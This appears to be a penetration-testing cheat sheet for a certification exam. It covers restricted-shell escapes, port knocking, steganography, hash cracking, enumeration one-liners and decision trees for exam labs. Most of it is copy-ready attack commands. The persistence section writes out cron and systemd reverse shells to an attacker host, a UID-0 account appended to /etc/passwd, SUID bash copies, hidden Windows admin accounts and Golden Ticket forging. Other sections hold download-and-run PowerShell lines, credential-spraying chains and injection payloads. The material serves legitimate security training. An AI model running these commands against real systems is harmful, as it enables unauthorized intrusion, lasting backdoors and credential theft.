# Install: sudo apt install mingw-w64 -y
SearchSploit workflow
Find, mirror, and compile
searchsploit <service version>
searchsploit -m <exploit_id>
head -30 exploit.c # Read compile instructions in comments
gcc exploit.c -o exploit
python3 -m http.server 80
Check target arch first
Match your compilation to the target
uname -m # x86_64 = 64-bit, i686 = 32-bit (-m32)
file /bin/ls # Confirms ELF format and arch
Common compilation errors
Fix missing dependencies
# "cannot find -l<library>": apt-get install lib<name>-dev
# "fatal error: <header>.h": apt-get install linux-headers-$(uname -r)
# glibc mismatch: compile with -static
Restricted Shell Escapes
Breaking out of rbash, rksh, rzsh, and limited shells.
Identify restricted shell
Check what you're working with
echo $SHELL
echo $0
echo $PATH
SSH escape
Bypass restricted shell at login
ssh user@$IP -t bash
ssh user@$IP -t /bin/sh
ssh user@$IP -t "bash --noprofile"
vi / vim escape
Open vi then spawn shell
vi
:set shell=/bin/bash
:shell
# Or: :!/bin/bash
awk / find / nmap escape
Common binary escapes
awk 'BEGIN {system("/bin/bash")}'
find / -exec /bin/bash \;
nmap --interactive # nmap < 5.35
!sh
Python/Perl/Ruby escape
Scripting language shells
python3 -c 'import os; os.system("/bin/bash")'
perl -e 'exec "/bin/bash";'
ruby -e 'exec "/bin/bash"'
less/more/man escape
Pager commands — Drop to shell
less /etc/passwd
!/bin/bash
man man
!/bin/bash
PATH manipulation
If PATH is restricted — Set it manually
export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
ed / expect escape
Less common escapes
ed
!'/bin/bash'
expect -c 'spawn /bin/bash; interact'
Port Knocking
Detecting and executing port knock sequences to open hidden services.
Detect port knocking
Look for knockd configuration — Reveals the knock sequence
cat /etc/knockd.conf
Example Output
[openSSH]
sequence = 7000,8000,9000
seq_timeout = 5
command = /sbin/iptables -I INPUT -s %IP% -p tcp --dport 22 -j ACCEPT
Knock with nmap
Send SYN packets to ports in sequence
for port in 7000 8000 9000; do nmap -Pn --host-timeout 100 --max-retries 0 -p $port $IP; done
Knock with knock client
Dedicated knock client — Clean and simple
# apt install knockd
knock $IP 7000 8000 9000
ssh user@$IP
Knock with nc or bash
No tools needed
# nc:
for port in 7000 8000 9000; do nc -zw1 $IP $port; done
# bash:
for port in 7000 8000 9000; do echo >/dev/tcp/$IP/$port 2>/dev/null; done
Find knock sequences
If you can't read knockd.conf
iptables -L -n
ps aux | grep knock
cat /home/*/.bash_history | grep -i knock
Steganography
Detecting and extracting hidden data in files.
Check file metadata first
exiftool reveals hidden comments, GPS data, embedded files
exiftool image.jpg
exiftool -b -ThumbnailImage image.jpg > thumbnail.jpg
strings image.jpg | head -50
binwalk — Find embedded files
Scan for hidden files inside images, firmware, binaries
binwalk image.png
binwalk -e image.png # Extract embedded files
binwalk --dd='.*' image.png # Extract everything
Example Output
DECIMAL HEXADECIMAL DESCRIPTION
0 0x0 PNG image, 800 x 600
45678 0xB26E Zip archive data
steghide — Extract from JPEG/BMP
Most common stego tool — Password may be blank or guessable
steghide info image.jpg
steghide extract -sf image.jpg
steghide extract -sf image.jpg -p "" # Empty password
steghide extract -sf image.jpg -p "password" # Known password
stegseek — Brute force steghide passwords
Extremely fast steghide cracker — Tries rockyou in seconds
stegseek image.jpg /usr/share/wordlists/rockyou.txt
stegseek image.jpg wordlist.txt
Example Output
[i] Found passphrase: "letmein"
[i] Original filename: "secret.txt"
[i] Extracting to "image.jpg.out"
zsteg — PNG/BMP analysis
Detect LSB steganography and other techniques in PNG/BMP
zsteg image.png
zsteg -a image.png # Try all methods
zsteg -e "b1,rgb,lsb,xy" image.png # Extract specific channel
Check for hidden text in images
Strings and hex analysis — Sometimes it's just appended text
strings image.jpg | grep -i "flag\|password\|key\|secret"
xxd image.jpg | tail -20
# Check if file is larger than expected for its dimensions
Check file type vs extension
File might be disguised — Extension doesn't match content
file suspicious_file.jpg
# "suspicious_file.jpg: ASCII text" = not actually a JPEG
# Rename and open as correct type
Stego in audio files
Hidden data in WAV/MP3 — Use sonic-visualiser or audacity
# Spectrogram analysis:
# Open in Audacity → Analyze → Spectrogram
# Hidden messages often visible in spectrogram view
# For WAV files:
steghide extract -sf audio.wav
strings audio.wav | grep -i flag
Common stego workflow
Systematic approach — Don't skip steps
1. file <file> → Verify actual file type
2. exiftool <file> → Check metadata/comments
3. strings <file> | grep -i flag → Quick string search
4. binwalk -e <file> → Extract embedded files
5. steghide extract -sf <file> → Try empty password
6. stegseek <file> rockyou.txt → Brute force password
7. zsteg <file> → LSB analysis (PNG/BMP)
8. Check file size → Unusually large = hidden data
Persistence Techniques
Maintaining access after initial compromise. Critical for AD sets where you pivot across machines.
LINUX PERSISTENCE
SSH key backdoor
Add your SSH key to a user — Survive password changes and reboots
# Generate key on attacker:
ssh-keygen -f backdoor_key -t rsa -N ""
# On target (as root or target user):
mkdir -p /home/user/.ssh
echo "ssh-rsa AAAA... your_key" >> /home/user/.ssh/authorized_keys
chmod 700 /home/user/.ssh
chmod 600 /home/user/.ssh/authorized_keys
# Connect:
ssh -i backdoor_key user@$IP
Cron job backdoor
Schedule a reverse shell — Reconnects every minute
# As root:
(crontab -l; echo "* * * * * bash -i >& /dev/tcp/$LHOST/4444 0>&1") | crontab -
# Or write to cron directory:
echo '* * * * * root bash -i >& /dev/tcp/$LHOST/4444 0>&1' > /etc/cron.d/backdoor
SUID bash backdoor
Copy bash with SUID bit — Instant root anytime
# As root:
cp /bin/bash /tmp/.backdoor
chmod +s /tmp/.backdoor
# Later (as any user):
/tmp/.backdoor -p
# -p preserves SUID = root shell
Add user with root privileges
Create a backup admin account — Last resort persistence
# Add user with UID 0:
echo 'backdoor:$(openssl passwd -1 password123):0:0::/root:/bin/bash' >> /etc/passwd
# Or with useradd:
useradd -ou 0 -g 0 -M -d /root -s /bin/bash backdoor
echo "backdoor:password123" | chpasswd
Modify existing service
Backdoor an init script or systemd service — Runs on boot
# Systemd:
cat > /etc/systemd/system/backdoor.service << UNIT
[Unit]
Description=System Monitor
[Service]
ExecStart=/bin/bash -c 'bash -i >& /dev/tcp/$LHOST/4444 0>&1'
Restart=always
RestartSec=60
[Install]
WantedBy=multi-user.target
UNIT
systemctl enable backdoor.service
systemctl start backdoor.service
WINDOWS PERSISTENCE
Registry Run Keys
Execute payload on user login — Survives reboots
# Current user:
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v Backdoor /t REG_SZ /d "C:\Windows\Temp\shell.exe"
# All users (needs admin):
reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v Backdoor /t REG_SZ /d "C:\Windows\Temp\shell.exe"
Scheduled task persistence
Create task that runs on login or at interval — Runs as SYSTEM
schtasks /create /tn "WindowsUpdate" /tr "C:\Windows\Temp\shell.exe" /sc onlogon /ru SYSTEM
schtasks /create /tn "SystemCheck" /tr "C:\Windows\Temp\shell.exe" /sc minute /mo 5 /ru SYSTEM
New local admin user
Create a hidden admin account — Quick re-entry
net user backdoor Password123! /add
net localgroup Administrators backdoor /add
# Hide from login screen (optional):
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList" /v backdoor /t REG_DWORD /d 0
RDP enable
Turn on RDP for persistent GUI access — If not already enabled
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0
netsh advfirewall firewall set rule group="remote desktop" new enable=Yes
# Connect: xfreerdp /u:user /p:pass /v:$IP
WinRM enable
Enable WinRM for persistent shell access — PowerShell remoting
Enable-PSRemoting -Force
winrm quickconfig -q
# Connect: evil-winrm -i $IP -u user -p 'password'
AD PERSISTENCE
Golden Ticket
Forge TGT with krbtgt hash — Persist as any user indefinitely
# After DCSync:
impacket-ticketer -nthash <krbtgt_hash> -domain-sid S-1-5-21-... -domain domain.local administrator
# Valid for 10 years by default
DCSync for all hashes
Dump every hash in the domain — Can re-compromise anything
impacket-secretsdump domain.local/admin:'Password1'@$DC_IP
# Save output — these hashes let you PtH to any machine
Add user to Domain Admins
Direct group manipulation — If you have the rights
net group "Domain Admins" backdoor /add /domain
# Or with PowerView:
Add-DomainGroupMember -Identity "Domain Admins" -Members "backdoor"
Silver Ticket for specific service
Forge service ticket — Access one service indefinitely
# Useful when you need persistent access to one machine's CIFS/HTTP/etc
impacket-ticketer -nthash <service_hash> -domain-sid S-1-5-21-... -domain domain.local -spn cifs/target.domain.local administrator
WHEN TO USE PERSISTENCE
Engagement Scenario → Persistence Method
─────────────────────────────────────────
Single Linux box → SSH key + SUID bash
Single Windows box → Scheduled task + new admin user
AD: Need to pivot → Add creds to multiple machines
AD: Post-DA → Golden Ticket + DCSync dump
Exam: AD set → Keep creds documented, WinRM/RDP enabled
Quick Reference
Wordlists, file transfer methods, and hash cracking cheat sheet.
WORDLISTS
Directory brute forcing
Go-to wordlist for gobuster, feroxbuster, ffuf — 220k entries
gobuster dir -u http://$IP -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
Password cracking
Standard password wordlist — 14 million entries
john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt
hashcat -m 0 hash.txt /usr/share/wordlists/rockyou.txt
Alternative directory list
Catches paths that dirbuster misses — 30k entries
gobuster dir -u http://$IP -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
Subdomain / vhost scanning
Top subdomains for vhost discovery — 5k entries
gobuster vhost -u http://domain.com -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt
gobuster dns -d domain.com -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt
Username enumeration
Common first names as usernames — 10k entries
smtp-user-enum -M VRFY -U /usr/share/seclists/Usernames/Names/names.txt -t $IP
hydra -L /usr/share/seclists/Usernames/Names/names.txt -p 'Password1' $IP ssh
SNMP community strings
Brute force SNMP community strings
onesixtyone -c /usr/share/seclists/Discovery/SNMP/common-snmp-community-strings-onesixtyone.txt $IP
Install SecLists
Massive collection of wordlists — Discovery, Fuzzing, Passwords, Usernames
sudo apt install seclists -y
ls /usr/share/seclists/
FILE TRANSFER METHODS
Host files on attacker (HTTP)
Start a web server in your current directory — Most common transfer method
python3 -m http.server 80
Download to Linux target
wget or curl — Try both if one isn't available
wget http://$LHOST/linpeas.sh -O /tmp/linpeas.sh
curl http://$LHOST/chisel -o /tmp/chisel
Download to Windows target (certutil)
Built into every Windows version — Rarely blocked
certutil -urlcache -split -f http://$LHOST/shell.exe C:\Temp\shell.exe
Download to Windows target (PowerShell)
Multiple methods — Try next one if blocked
Invoke-WebRequest -Uri http://$LHOST/shell.exe -OutFile C:\Temp\shell.exe
(New-Object Net.WebClient).DownloadFile('http://$LHOST/shell.exe','C:\Temp\shell.exe')
IEX(New-Object Net.WebClient).DownloadString('http://$LHOST/shell.ps1')
Host files on attacker (SMB)
When HTTP is blocked on target — Works great for Windows
# On attacker:
impacket-smbserver share . -smb2support
# On Windows target:
copy \\$LHOST\share\mimikatz.exe C:\Temp\
Netcat file transfer
Raw TCP — When nothing else works
# On attacker (send):
nc -nlvp 4444 < linpeas.sh
# On target (receive):
nc $LHOST 4444 > /tmp/linpeas.sh
Base64 encode/decode
Copy-paste through the terminal — When all transfers are blocked
# On attacker (encode):
base64 -w 0 file.bin
# On target (decode):
echo 'BASE64STRING' | base64 -d > file.bin
HASH CRACKING
Identify hash type
Always identify before cracking — Determines hashcat mode
hashid '$6$rounds=5000$salt$hash'
hash-identifier
Common Hash Formats
MD5: 32 hex chars → hashcat -m 0
SHA1: 40 hex chars → hashcat -m 100
SHA256: 64 hex chars → hashcat -m 1400
SHA512: 128 hex chars → hashcat -m 1800 (if $6$ prefix)
NTLM: 32 hex chars (no salt) → hashcat -m 1000
NTLMv2: user::domain:challenge... → hashcat -m 5600
bcrypt: $2a$ or $2y$ prefix → hashcat -m 3200
Kerberoast: $krb5tgs$23$*... → hashcat -m 13100
AS-REP: $krb5asrep$23$... → hashcat -m 18200
md5crypt: $1$ prefix → hashcat -m 500
sha512crypt:$6$ prefix → hashcat -m 1800
John the Ripper
Auto-detects hash type — Good general purpose cracker
john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
john --show hash.txt
Hashcat — MD5
Mode 0 — Fastest hash to crack
hashcat -m 0 hash.txt /usr/share/wordlists/rockyou.txt
Hashcat — SHA256
Mode 1400
hashcat -m 1400 hash.txt /usr/share/wordlists/rockyou.txt
Hashcat — NTLM
Mode 1000 — Windows local password hashes, very fast
hashcat -m 1000 hash.txt /usr/share/wordlists/rockyou.txt
Hashcat — NTLMv2
Mode 5600 — Captured from Responder or network sniffing
hashcat -m 5600 hash.txt /usr/share/wordlists/rockyou.txt
Hashcat — bcrypt
Mode 3200 — Very slow, use rules instead of full wordlist
hashcat -m 3200 hash.txt /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule
Hashcat — Kerberoast (TGS-REP)
Mode 13100 — Cracking Kerberoasted service account hashes
hashcat -m 13100 hash.txt /usr/share/wordlists/rockyou.txt
Hashcat — AS-REP Roast
Mode 18200 — Cracking AS-REP hashes from accounts without pre-auth
hashcat -m 18200 hash.txt /usr/share/wordlists/rockyou.txt
Online hash lookup
Instant results for common hashes — Only for non-sensitive/CTF hashes
# Paste hash at:
# https://crackstation.net/
# https://hashes.com/en/decrypt/hash
⚡ Speed Hacks
Parallel scanning, one-liner chains, and tricks to cut enumeration time in half.
- PARALLEL SCANNING - Run these simultaneously in separate terminals
- ONE-LINER CHAINS - Copy-paste enum scripts (replace $IP)
- SMART WORDLIST SELECTION - Don't always use the biggest list
- SHORTCUTS & TRICKS - Things people forget
PARALLEL SCANNING - Run these simultaneously in separate terminals
Rustscan all TCP ports ~10 min vs nmap full
Phase 0 (Immediate) — Scans all 65535 in seconds, then runs nmap scripts on open ports
rustscan -a $IP -- -sC -sV -oN rustscan.txt
Example Output
Open 10.10.10.5:22,80,445,8080
nmap scan on 4 ports...
Quick nmap while rustscan runs Redundancy
Phase 0 (Immediate) — Backup scan in case rustscan misses filtered ports
nmap -sC -sV -p- --min-rate 5000 $IP -oN full_tcp.txt
Example Output
Use --min-rate 5000 for speed
Still catches filtered ports rustscan may miss
UDP top 20 (background) Runs while you work
Phase 0 (Immediate) — Run in background with &, check later. SNMP/TFTP/DNS are common wins
nmap -sU --top-ports 20 --min-rate 5000 $IP -oN udp.txt &
Example Output
53/udp open domain
161/udp open snmp
(Check these immediately)
Parallel service enum 50% faster overall
Phase 1 (After ports) — Never enumerate one service at a time. Always have 2-3 terminals running different services
# Terminal 1: web enum
gobuster dir -u http://$IP -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt -x php,txt,html -t 50 -o dirs.txt
# Terminal 2: SMB enum
enum4linux -a $IP | tee smb.txt
# Terminal 3: check exploits
searchsploit <service versions>
Example Output
While gobuster runs:
- Read SMB shares
- Research CVEs
- Check other ports
Auto-scope gobuster to tech stack ~5 min per scan
Phase 1 — Wrong extensions = wasted scan time. Check tech stack FIRST with whatweb or headers
# PHP site:
gobuster dir -x php,php.bak,txt,html,conf
# ASP/IIS site:
gobuster dir -x asp,aspx,config,txt,html
# Java site:
gobuster dir -x jsp,do,action,xml,properties
Example Output
whatweb says PHP/Apache:
Only use php,txt,html extensions
Don't waste time on asp,aspx
Immediate credential check Prevents hours of unnecessary enum
Phase 1 — The SECOND you find any credential, spray it everywhere before doing anything else
# Run against ALL services with found creds
crackmapexec smb $IP -u found_user -p found_pass
crackmapexec winrm $IP -u found_user -p found_pass
crackmapexec ssh $IP -u found_user -p found_pass
smbclient -L //$IP -U found_user%found_pass
Example Output
Found admin:admin on FTP
Try on SSH -> WORKS!
(Skip the web app entirely)
ONE-LINER CHAINS - Copy-paste enum scripts (replace $IP)
Initial recon chain ~8 min for full picture
Full auto-enum — Kick off everything at once. Review tcp.txt output first
export IP=10.10.10.5 && mkdir -p loot && rustscan -a $IP -- -sC -sV -oN loot/tcp.txt & nmap -sU --top-ports 20 $IP -oN loot/udp.txt & whatweb http://$IP | tee loot/whatweb.txt
Example Output
Creates loot/ directory
All 3 scans run in parallel
Check tcp.txt first when done
Web recon chain ~3 min vs manual
Web auto-enum — Gets robots, sitemap, headers, and starts gobuster in one paste
export URL=http://10.10.10.5 && curl -s $URL/robots.txt; curl -s $URL/sitemap.xml; curl -sI $URL | grep -i 'server\|x-powered\|set-cookie'; gobuster dir -u $URL -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt -x php,txt -t 50 -q -o loot/dirs.txt &
Example Output
robots.txt: /admin/ /backup/
Server: Apache/2.4.29
X-Powered-By: PHP/7.2
(gobuster running in background)
SMB full chain ~2 min vs manual
SMB auto-enum — One paste gets null session, users, shares, and permissions
export IP=10.10.10.5 && echo '=== NULL SESSION ===' && smbclient -L //$IP -N 2>/dev/null && echo '=== ENUM4LINUX ===' && enum4linux -a $IP 2>/dev/null | grep -E 'user:|share:|password|group' && echo '=== SHARES ===' && smbmap -H $IP
Example Output
=== NULL SESSION ===
Backups, Users, ADMIN$
=== ENUM4LINUX ===
user:[john] user:[admin]
=== SHARES ===
Backups READ
Spray creds everywhere ~1 min vs manual per-service
Cred spray — Change U and P vars, paste once to test everywhere
export IP=10.10.10.5 U=admin P=Password1 && crackmapexec smb $IP -u $U -p $P && crackmapexec winrm $IP -u $U -p $P && crackmapexec ssh $IP -u $U -p $P && crackmapexec mssql $IP -u $U -p $P && crackmapexec ftp $IP -u $U -p $P 2>/dev/null
Example Output
SMB [+] admin:Password1
WINRM [+] admin:Password1 (Pwn3d!)
SSH [-] admin:Password1
(WinRM works! Use evil-winrm)
Linux enum chain ~30 sec vs 5 min manual
Linux privesc — Run before linPEAS for quick manual check. Covers the top 5 privesc vectors in seconds
echo '=== SUDO ===' && sudo -l 2>/dev/null; echo '=== SUID ===' && find / -perm -4000 -type f 2>/dev/null; echo '=== CRON ===' && cat /etc/crontab 2>/dev/null; ls -la /etc/cron.* 2>/dev/null; echo '=== CAPS ===' && getcap -r / 2>/dev/null; echo '=== WRITABLE ===' && find / -writable -type f -not -path '/proc/*' -not -path '/sys/*' 2>/dev/null | head -20
Example Output
=== SUDO ===
(root) NOPASSWD: /usr/bin/vim
=== SUID ===
/usr/bin/pkexec
(Stop here - you have sudo vim!)
Windows enum chain ~30 sec
Windows privesc — Quick manual check before winPEAS. Catches SeImpersonate, saved creds, AlwaysInstallElevated
whoami /priv & whoami /groups & systeminfo | findstr /B /C:"OS" /C:"System" /C:"Hotfix" & netstat -ano | findstr LISTEN & cmdkey /list & reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated 2>nul
Example Output
SeImpersonatePrivilege Enabled
-> Immediate potato attack
(Skip winPEAS, go straight to PrintSpoofer)
AD initial chain ~1 min
AD quick wins — First things to run with any domain credentials
echo '=== DOMAIN ===' && echo %userdomain% && echo '=== DC ===' && nltest /dclist:%userdomain% && echo '=== USERS ===' && net user /domain && echo '=== ADMINS ===' && net group 'Domain Admins' /domain && echo '=== POLICY ===' && net accounts /domain
Example Output
Domain: CORP
DC: DC01.corp.local
Domain Admins: administrator, john.smith
Lockout threshold: 5
PTH spray entire subnet ~2 min vs per-host
Hash spray subnet — After getting admin hash, immediately check entire subnet
crackmapexec smb 10.10.10.0/24 -u administrator -H $HASH --continue-on-success | grep 'Pwn3d'
Example Output
10.10.10.5 DC01 (Pwn3d!)
10.10.10.20 WEB01 (Pwn3d!)
10.10.10.21 DB01 (Pwn3d!)
SMART WORDLIST SELECTION - Don't always use the biggest list
Quick first pass (30 sec) ~30 sec
Wordlists — 4600 entries. Catches /admin, /uploads, /backup, /config. Run this FIRST always
gobuster dir -u http://$IP -w /usr/share/seclists/Discovery/Web-Content/common.txt -x php,txt -t 50
Example Output
/admin (200)
/uploads (301)
/config.php.bak (200)
(Found config backup in 30 seconds)
Medium pass if quick fails ~5 min
Wordlists — 30000 entries. Only run if common.txt found nothing
gobuster dir -u http://$IP -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt -x php,txt -t 50
Example Output
Run only after common.txt
finds nothing interesting
Custom wordlist from site N/A
Wordlists — Generate wordlist FROM the site. Great for password brute force and hidden dirs
cewl http://$IP -w loot/custom_wordlist.txt -d 2 -m 5
Example Output
Generated 342 words from site
Includes: company names, employee names
Use for hydra brute force too
Username derivation ~2 min
Wordlists — Check naming convention first: try one format, if it works on SMTP/LDAP, use that format for all
Found users: John Smith, Jane Doe on website
Create users.txt:
john.smith
j.smith
jsmith
john
smith.j
jane.doe
j.doe
jdoe
jane
Example Output
smtp-user-enum -M VRFY shows:
john.smith VALID
jsmith INVALID
(Use firstname.lastname format)
SHORTCUTS & TRICKS - Things people forget
Check all HTTP ports Prevents missed foothold
Trick — Many people only check 80/443 and miss the actual attack surface
Always browse EVERY open port in a browser. Even weird ports like 5000, 8080, 8443, 9090 often host web apps
Example Output
nmap shows: 80, 5000, 8443
Port 80: default Apache page
Port 5000: Flask app with login
Port 8443: Jenkins (default creds!)
Screenshot tool for many ports ~5 min for 10+ ports
Trick — Auto-screenshot every HTTP service. Visual triage is 10x faster than curl'ing each one
gowitness nmap -f loot/tcp.txt --open
OR: eyewitness --no-prompt -f urls.txt
Example Output
Screenshots saved to report/
Quick scroll reveals:
- Default pages (skip)
- Login pages (try defaults)
- Custom apps (enumerate)
Source code ALWAYS ~30 sec per page
Trick — Comments with creds are more common than you think. Check source before running any tools
On EVERY web page: Ctrl+U -> search for:
<!-- (comments)
password
admin
token
secret
api
hidden
TODO
BUG
Example Output
<!-- Debug: admin/admin123 -->
<!-- TODO: remove test account -->
<input type='hidden' name='role' value='user'>
Check for virtual hosting first Prevents missed content
Trick — If the box has a hostname, ALWAYS add it to /etc/hosts and browse again. Different site = different attack surface
curl -s http://$IP vs curl -s -H 'Host: hostname.htb' http://$IP
If different content: virtual hosting
Example Output
http://10.10.10.5 -> Apache default
http://target.htb -> Custom web app
(Entire app was hidden behind vhost)
Nmap script scan targeted ~2 min
Trick — Targeted vuln scripts are faster than -sC and find things like EternalBlue, Shellshock automatically
nmap --script 'vuln and safe' -p $PORTS $IP
OR per-service:
nmap --script smb-vuln* -p 445 $IP
nmap --script http-vuln* -p 80 $IP
Example Output
| smb-vuln-ms17-010: VULNERABLE
(Instant win - no further enum needed)
Check searchsploit EXACT version ~30 sec
Trick — Use exact version string. If no results, broaden one number at a time
searchsploit apache 2.4.49
NOT: searchsploit apache (too broad)
NOT: searchsploit apache 2 (too many results)
Example Output
Apache 2.4.49 - Path Traversal (CVE-2021-41773)
Exactly 1 result = likely the intended path
Test credentials immediately Potentially hours
Trick — Password reuse is the #1 easy win. Every minute spent enumerating after finding creds could be wasted
Found creds on ANY service? Stop everything.
Test on: SSH, WinRM, SMB, RDP, web login, FTP, MSSQL, MySQL
Do this BEFORE continuing enum
Example Output
Found db_user:DBp@ss in config.php
SSH: FAILED
SMB: WORKS! -> shell as db_user
(Skipped entire web exploitation path)
Quick LFI/SQLi test on every param ~30 sec per param
Trick — Takes 30 seconds per parameter. Test ALL params including POST data, cookies, headers
For EVERY parameter you see in URLs:
?id=1' (SQLi test)
?page=../../../../etc/passwd (LFI test)
?search=<script>alert(1)</script> (XSS test)
?cmd=;id (command injection test)
Example Output
http://target/page.php?lang=en
Try: ?lang=../../../../etc/passwd
Result: root:x:0:0:root...
(LFI in a param you'd never fuzz)
🌳 Decision Trees
When to move on, when to go back, and how to avoid wasting time.
SERVICE PRIORITY ORDER - Enumerate in this order, not randomly
HTTP/HTTPS (80/443/8080/8443) ⏱ 60 min max
Phase: Tier 1 HIGH PRIORITY
✅ If YES: Web apps are the #1 foothold vector. Check: source, dirs, params, login pages, CMS, known CVEs, file upload, SQLi, LFI
❌ If NO: If nothing after 60 min: move to Tier 2. Come back with new info (creds, usernames)
⚠️ Bail Signal: 60 min on web with nothing = move on. You're probably missing a vhost, param, or need creds from another service
SMB (445) ⏱ 20 min max
Phase: Tier 1 HIGH PRIORITY
✅ If YES: Null sessions, share access, known vulns (EternalBlue), user enumeration. Instant wins are common here
❌ If NO: If no null session and no creds: move on. Come back after finding creds on other services
⚠️ Bail Signal: No null session + no creds = nothing more to do here until you have creds
Active Directory services (LDAP/Kerberos) ⏱ 30 min max
Phase: Tier 1 HIGH PRIORITY
✅ If YES: Anonymous LDAP bind, AS-REP roasting (no creds needed), user enumeration. Kerberoast once you have ANY cred
❌ If NO: Need at least 1 credential to go further. Get creds from other services first
⚠️ Bail Signal: No anonymous bind + no creds = come back later
FTP (21) ⏱ 10 min max
Phase: Tier 2 MEDIUM
✅ If YES: Anonymous login? YES = download everything. Known version exploit? Check searchsploit
❌ If NO: No anon + no exploit = skip entirely. Come back only if you find creds
⚠️ Bail Signal: 10 minutes max. FTP is either instant win or nothing
SSH (22) ⏱ 5 min max
Phase: Tier 2 MEDIUM
✅ If YES: Banner grab for version. Try found creds. NEVER brute force SSH without a good username
❌ If NO: Note version, move on. SSH is almost never the initial foothold
⚠️ Bail Signal: Don't brute force SSH as your first move. It's almost always a cred reuse entry
MSSQL/MySQL (1433/3306) ⏱ 15 min max
Phase: Tier 2 MEDIUM
✅ If YES: Default creds (sa:sa, root:root). If access: enum databases, read files, xp_cmdshell
❌ If NO: No creds = move on. Come back with found credentials
⚠️ Bail Signal: No default creds = can't do anything without creds
NFS (2049) ⏱ 10 min max
Phase: Tier 2 MEDIUM
✅ If YES: showmount -> mount shares -> check for SSH keys, configs, no_root_squash
❌ If NO: No exports or nothing readable = skip
⚠️ Bail Signal: Very quick to check. Either useful or not
SNMP (161 UDP) ⏱ 10 min max
Phase: Tier 3 LOW
✅ If YES: Community string brute -> full walk. Can reveal: users, processes, passwords in command lines
❌ If NO: No valid community string = skip
⚠️ Bail Signal: Only useful if you get a valid community string
SMTP (25) ⏱ 10 min max
Phase: Tier 3 LOW
✅ If YES: User enumeration only. Collect valid usernames for brute force on other services
❌ If NO: If VRFY disabled = try RCPT TO. If nothing works = skip
⚠️ Bail Signal: You're only here for usernames, not exploitation
RDP (3389) ⏱ 5 min max
Phase: Tier 3 LOW
✅ If YES: BlueKeep check. Try found creds. PTH if you have NTLM hashes
❌ If NO: Note it exists, move on. RDP is an entry point, not a foothold
⚠️ Bail Signal: RDP = use after you have creds, not for initial access
PHASE DECISION POINTS - When to advance, when to go back
Ports found? ⏱ 15 min
Phase: Scanning
✅ If YES: Enumerate services in priority order above
❌ If NO: Re-scan: try different speed, try from VPN, check if host is up
⚠️ Bail Signal: If 2 scans show nothing = wrong target or host is down
Found creds anywhere? ⏱ 45 min total
Phase: Enumeration
✅ If YES: STOP enumeration. Spray creds on EVERY service immediately. This is your #1 priority
❌ If NO: Keep enumerating. Check source code, config files, SNMP, NFS shares, default creds
⚠️ Bail Signal: 45 min with zero creds = you missed something. Go back to basics: source code, robots.txt, UDP
Found a username but no password? ⏱ 15 min
Phase: Enumeration
✅ If YES: Try: password = username, company name + year (Corp2024!), Season + year (Winter2024), basic combos (Password1, Welcome1)
❌ If NO: AS-REP roast the user (no password needed). Check if account has Kerberos pre-auth disabled
⚠️ Bail Signal: Never brute force without a good username. Hydra on SSH with 'admin' is almost always a waste
Found exploit for service version? ⏱ 20 min
Phase: Enumeration
✅ If YES: Try the exploit. Read the code first. Check if it needs auth. Modify target IP/port
❌ If NO: Is it the right version? Check exact version match. Try other exploits for similar versions
⚠️ Bail Signal: 20 min on one exploit = try a different approach. Read exploit code for clues about the vulnerability
Found login page? ⏱ 20 min
Phase: Web App
✅ If YES:
- Default creds (admin:admin, admin:password)
- SQLi bypass (admin'-- -)
- Check for registration
- Brute force ONLY with known usernames
❌ If NO: Look for other entry points: file upload, API endpoints, hidden params, different vhosts
⚠️ Bail Signal: 20 min on login with no creds = find creds elsewhere first. Don't blind brute force
Found file upload? ⏱ 20 min
Phase: Web App
✅ If YES: Try: PHP shell, extension bypasses (.phtml, .php5, double ext), magic bytes, .htaccess
❌ If NO: If all blocked: look for other vectors. Upload might be a rabbit hole if heavily filtered
⚠️ Bail Signal: If 5+ bypass attempts fail = probably not the intended path
Found LFI? ⏱ 30 min
Phase: Web App
✅ If YES:
- Read /etc/passwd for users
- Read config files for creds
- Read SSH keys
- Try log poisoning for RCE
- Try PHP wrappers
❌ If NO: Confirmed LFI but can't get RCE from it? Use it for information gathering (configs, users) and pivot to another vector
⚠️ Bail Signal: LFI without RCE is still valuable for reading files. Don't spend 2 hours trying log poisoning if it's not working
Got shell but stuck on privesc? ⏱ 45 min
Phase: Foothold
✅ If YES: Run linPEAS/winPEAS. Check: sudo -l, SUID, cron, capabilities, groups, config files, history, internal services
❌ If NO: Transfer and run automated tools. Check for kernel exploits. Look for other users to pivot to
⚠️ Bail Signal: 45 min stuck = you missed something in enum. Re-read linPEAS output line by line. Check internal ports with netstat
Got 1 domain credential? ⏱ 30 min
Phase: AD
✅ If YES: Immediately: BloodHound, Kerberoast, check shares, spray on subnet, check admin access everywhere
❌ If NO: AS-REP roast, LDAP anonymous bind, SNMP for users, password spray with common passwords
⚠️ Bail Signal: 1 domain cred unlocks massive attack surface. If stuck, re-run BloodHound queries
Been stuck for 30+ min? ⏱ Immediate
Phase: Stuck
✅ If YES: ROTATE to a different machine or different service. Fresh eyes fix 80% of 'stuck' situations. Take a 5 min break, re-read your notes
❌ If NO: If you've rotated through everything: re-enumerate from scratch. Something was missed in initial scan
⚠️ Bail Signal: The answer is almost ALWAYS in enumeration, not exploitation. Go back to enum
EXAM TIME MANAGEMENT - 23h45m strategy
Scan ALL machines ⏱ 1 hour
Phase: Hour 0-1
✅ If YES: Run full TCP + UDP on every target simultaneously. While scans run: read exam guide, set up notes template, organize terminals
❌ If NO: If scans haven't finished: start enumerating services that ARE showing up. Don't wait
